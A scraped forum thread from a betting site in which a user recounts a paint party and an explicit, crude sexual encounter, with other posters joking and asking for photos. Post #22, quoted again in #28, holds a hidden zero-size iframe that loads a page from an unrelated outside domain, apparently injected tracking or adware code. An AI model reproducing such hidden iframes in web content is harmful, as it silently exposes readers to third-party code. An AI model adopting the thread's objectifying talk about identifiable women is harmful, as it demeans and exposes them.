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  • ZetaPsi808
    SBR Posting Legend
    • 09-18-08
    • 12119

    #1
    Paint Party Tonight @ one of the Hofstra Bars
    Mods dont worry. I aint trying to advertise or spam for the club thats why i wont mention its name.

    basically the bouncers stand on top of the bar and throw paint at you from paint buckets

    i am also meeting broad in middle here with huge and phat ass. odds i score in back seat of corolla are +150


    queens/long island guys should meet me there 10 pm sharp and we will pull fukkin broads
  • Louisvillekid1
    SBR Aristocracy
    • 10-17-07
    • 52143

    #2


    what a dumb fukkin look.... Like you visualizing scoring later... ahhhh

    Well done playa
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    • ZetaPsi808
      SBR Posting Legend
      • 09-18-08
      • 12119

      #3
      you guys need to stop the internet wars and go meet some broads

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      • beermankirk
        SBR MVP
        • 11-17-09
        • 1512

        #4
        Make sure you find those ones that won't leave yer sheets red in the morning!
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        • Sol Diablo
          SBR Sharp
          • 09-03-12
          • 489

          #5
          Fake boobies on a fatty.

          Nice find Zeta.

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          • Louisvillekid1
            SBR Aristocracy
            • 10-17-07
            • 52143

            #6
            Originally posted by ZetaPsi808
            you guys need to stop the internet wars and go meet some broads

            "I'm gonna turn my flashlight on, Fukk it!"...

            AHAHA
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            • jjgold
              SBR Aristocracy
              • 07-20-05
              • 388179

              #7
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              • ZetaPsi808
                SBR Posting Legend
                • 09-18-08
                • 12119

                #8
                beermankirk!!

                dont remind me of that fatty

                Diablo, there are tons of girls like that on long island. last saturday i got a handjob in the back seat of the corolla from a dominican broad who said she never did that before

                odds she was lying -250???

                LKID1, what up pal
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                • paranoyd androyd
                  SBR Hall of Famer
                  • 10-01-11
                  • 6459

                  #9
                  have fun post more pics
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                  • beermankirk
                    SBR MVP
                    • 11-17-09
                    • 1512

                    #10
                    update with pics buddy!
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                    • ZetaPsi808
                      SBR Posting Legend
                      • 09-18-08
                      • 12119

                      #11
                      crazy night. i get there and find both of those girls in the club. i went for the one that got cut out of the pic. she has an ass like nicki minaj

                      i will update in the afternoon. we took some pics but she has them on her phone but i will ask her to text them to me.

                      considering all the events that happened it was prob one of the craziest nights of my life.
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                      • jhack704
                        SBR Hall of Famer
                        • 06-04-09
                        • 5346

                        #12
                        Originally posted by ZetaPsi808
                        Mods dont worry. I aint trying to advertise or spam for the club thats why i wont mention its name.

                        basically the bouncers stand on top of the bar and throw paint at you from paint buckets

                        i am also meeting broad in middle here with huge and phat ass. odds i score in back seat of corolla are +150

                        queens/long island guys should meet me there 10 pm sharp and we will pull fukkin broads
                        you have a toyota?? that wont get you anywhere! get a real car and maybe you will get lucky
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                        • kmarinouofm
                          SBR Hall of Famer
                          • 01-26-09
                          • 8437

                          #13
                          jeez guy just come to miami .. this is considered wild ? jeez..
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                          • billyloco
                            SBR MVP
                            • 04-07-06
                            • 1411

                            #14
                            Originally posted by kmarinouofm
                            jeez guy just come to miami .. this is considered wild ? jeez..
                            Miami is in a class by itself k!!!!!......hottest fukkin babes in the world , and I've lived in Los Angeles too!
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                            • kmarinouofm
                              SBR Hall of Famer
                              • 01-26-09
                              • 8437

                              #15
                              Originally posted by billyloco
                              Miami is in a class by itself k!!!!!......hottest fukkin babes in the world , and I've lived in Los Angeles too!
                              tell me about it bro.. i work in the nightlife industry in miami beach..
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                              • Vaughany
                                SBR Aristocracy
                                • 03-07-10
                                • 45563

                                #16
                                Originally posted by ZetaPsi808
                                Mods dont worry. I aint trying to advertise or spam for the club thats why i wont mention its name.

                                basically the bouncers stand on top of the bar and throw paint at you from paint buckets

                                i am also meeting broad in middle here with huge and phat ass. odds i score in back seat of corolla are +150

                                queens/long island guys should meet me there 10 pm sharp and we will pull fukkin broads
                                haha looks like you fell asleep!

                                Unreal boys, tht broad doesnt look too bad!
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                                • Chi_archie
                                  SBR Aristocracy
                                  • 07-22-08
                                  • 63172

                                  #17
                                  nice work Zeta

                                  Zeta is winning
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                                  • Bigbill365
                                    SBR MVP
                                    • 06-22-12
                                    • 4572

                                    #18
                                    so whats the word what happen did you get lucky?
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                                    • Facepunch
                                      SBR MVP
                                      • 11-17-09
                                      • 2090

                                      #19
                                      Miami is legit,
                                      Sexiest chicks on Earth.
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                                      • ZetaPsi808
                                        SBR Posting Legend
                                        • 09-18-08
                                        • 12119

                                        #20
                                        ok as im waiting for those pics i will just tell the story here

                                        the bartenders poured paint into these plates and put them on top of the bar for us. so i put my hands in it and then started smearing it across broads' faces, ass and .

                                        luckily i found that girl and then we started dancing. i bought a $10 pitcher of beer and we split that. i had paint all over my face i looked like a mime. kids having fukking orgies on the dance floor and shit.

                                        so i wore ripped up jeans that had a small hole in the leg that was like 7 inches wide by the end of the night. broad feeling my rooster over jeans and then she put her hand thru the hole. she started laughing bc my rooster poked thru my boxers slit and out of the whole and was wagging like a dog's tail. unfukkinreal

                                        anyway we left club and i drove her home and we stopped to buy condoms. $4.99 for a 3 pack of trojans. unreal i paid the fukkin vig boyzz. so we drove around the block and tried to fukk in my back seat, but i could not get hard i think b/c i had jerked off a few hours before going to club. shit was awkward as hell. then we went to her house and hung out in her living room at 4 am

                                        she sat on my lap when i was naked and started dry humping em and the weirdest shit started happening. she has a 18 month old puppy labrador that started licking my balls. unfukkinreal i got cockblocked by the dog. every time we tried to make out the dog jumped in and started licking her face. she kept hitting the dog and cursing at him i was laughing my ass off.
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                                        • Vaughany
                                          SBR Aristocracy
                                          • 03-07-10
                                          • 45563

                                          #21
                                          Originally posted by ZetaPsi808
                                          ok as im waiting for those pics i will just tell the story here

                                          the bartenders poured paint into these plates and put them on top of the bar for us. so i put my hands in it and then started smearing it across broads' faces, ass and .

                                          luckily i found that girl and then we started dancing. i bought a $10 pitcher of beer and we split that. i had paint all over my face i looked like a mime. kids having fukking orgies on the dance floor and shit.

                                          so i wore ripped up jeans that had a small hole in the leg that was like 7 inches wide by the end of the night. broad feeling my rooster over jeans and then she put her hand thru the hole. she started laughing bc my rooster poked thru my boxers slit and out of the whole and was wagging like a dog's tail. unfukkinreal

                                          anyway we left club and i drove her home and we stopped to buy condoms. $4.99 for a 3 pack of trojans. unreal i paid the fukkin vig boyzz. so we drove around the block and tried to fukk in my back seat, but i could not get hard i think b/c i had jerked off a few hours before going to club. shit was awkward as hell. then we went to her house and hung out in her living room at 4 am

                                          she sat on my lap when i was naked and started dry humping em and the weirdest shit started happening. she has a 18 month old puppy labrador that started licking my balls. unfukkinreal i got cockblocked by the dog. every time we tried to make out the dog jumped in and started licking her face. she kept hitting the dog and cursing at him i was laughing my ass off.

                                          Amazing post...don't know where to start with this! I've highlighted my favourite parts!

                                          Firstly, is it standard to drink-drive around Hofstra?!

                                          Hate it when you get whiskey dick as we say over here in England (do y'all say tht in America?!). Nothing more annoying then trying to bang with a semi!
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                                          • Russian Rocket
                                            SBR Aristocracy
                                            • 09-02-12
                                            • 43910

                                            #22
                                            great f-cking adventure...keep up the good work! <iframe src="//edge.crtinv.com/getData.html?d=about%3A%2F%2F" style="width: 0px; height: 0px; display: none;"></iframe>
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                                            • Ratpack
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                                              • 02-15-12
                                              • 4133

                                              #23
                                              how old was this chick zeta you should of id her to make sure she was over 18 i hear stories in those college bars about youngins sneaking it
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                                              • TheMetsSuck
                                                SBR Hall of Famer
                                                • 01-14-12
                                                • 6146

                                                #24
                                                hofstra bar scene is known for their stds....careful
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                                                • Maximo
                                                  SBR Sharp
                                                  • 01-29-09
                                                  • 278

                                                  #25
                                                  I graduated from Hofstra few years ago.. I was an international student and as of now i can say, i miss that school.. I used to have sex without knowing a word in english.
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                                                  • Russian Rocket
                                                    SBR Aristocracy
                                                    • 09-02-12
                                                    • 43910

                                                    #26
                                                    Originally posted by Maximo
                                                    I graduated from Hofstra few years ago.. I was an international student and as of now i can say, i miss that school.. I used to have sex without knowing a word in english.
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                                                    • ZetaPsi808
                                                      SBR Posting Legend
                                                      • 09-18-08
                                                      • 12119

                                                      #27
                                                      Originally posted by Vaughany

                                                      Amazing post...don't know where to start with this! I've highlighted my favourite parts!

                                                      Firstly, is it standard to drink-drive around Hofstra?!

                                                      Hate it when you get whiskey dick as we say over here in England (do y'all say tht in America?!). Nothing more annoying then trying to bang with a semi!
                                                      glad to see you appreciated it!

                                                      i dont think kids drink and drive alot in that area. at least i hope not. there are always cops everywhere b/c it is in the ghetto and always a lot of drunk kids wandering the streets. i was 98% sure i was sober by the time i got in my car to drive her home tho

                                                      it was not whiskey dick. the problem was i had jerked off approx 4 hours before leaving for the club which will kill my sex drive for that night.
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                                                      • ZetaPsi808
                                                        SBR Posting Legend
                                                        • 09-18-08
                                                        • 12119

                                                        #28
                                                        Originally posted by Russian Rocket
                                                        great f-cking adventure...keep up the good work! <iframe src="//edge.crtinv.com/getData.html?d=about%3A%2F%2F" style="width: 0px; height: 0px; display: none;"></iframe>
                                                        thanks pal it was a lot of fun!

                                                        Originally posted by Ratpack
                                                        how old was this chick zeta you should of id her to make sure she was over 18 i hear stories in those college bars about youngins sneaking it
                                                        she said she was 20. i dont have reason to not believe her. girl has a good head on her shoulders

                                                        Originally posted by TheMetsSuck
                                                        hofstra bar scene is known for their stds....careful
                                                        you are right. we did use a condom tho. thanks for your concern

                                                        Originally posted by Maximo
                                                        I graduated from Hofstra few years ago.. I was an international student and as of now i can say, i miss that school.. I used to have sex without knowing a word in english.
                                                        dude i def believe you. girls would love your foreign accent too. where do you reside now?
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                                                        • ZetaPsi808
                                                          SBR Posting Legend
                                                          • 09-18-08
                                                          • 12119

                                                          #29
                                                          ATTN MODS:

                                                          can you edit out the pic of the 2 girls in posts #1 #12 and #16 in this thread?

                                                          this thread is easy to find from google and i would feel horrible if someone they knew found this thread. it was a dumb mistake to post any pic of them in the first place.

                                                          thank you
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                                                          • ZetaPsi808
                                                            SBR Posting Legend
                                                            • 09-18-08
                                                            • 12119

                                                            #30
                                                            i'm only worried b/c i said some X-rated details about us having sex. if i kept this thread PG rated, then i think sharing her pic would be ok. god forbid somebody found out that she did this and this in my car.
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                                                            • TheMetsSuck
                                                              SBR Hall of Famer
                                                              • 01-14-12
                                                              • 6146

                                                              #31
                                                              pic is blurry and they are covered in paint. i wouldn't worry about they know stumbling upon this and recognizing them.
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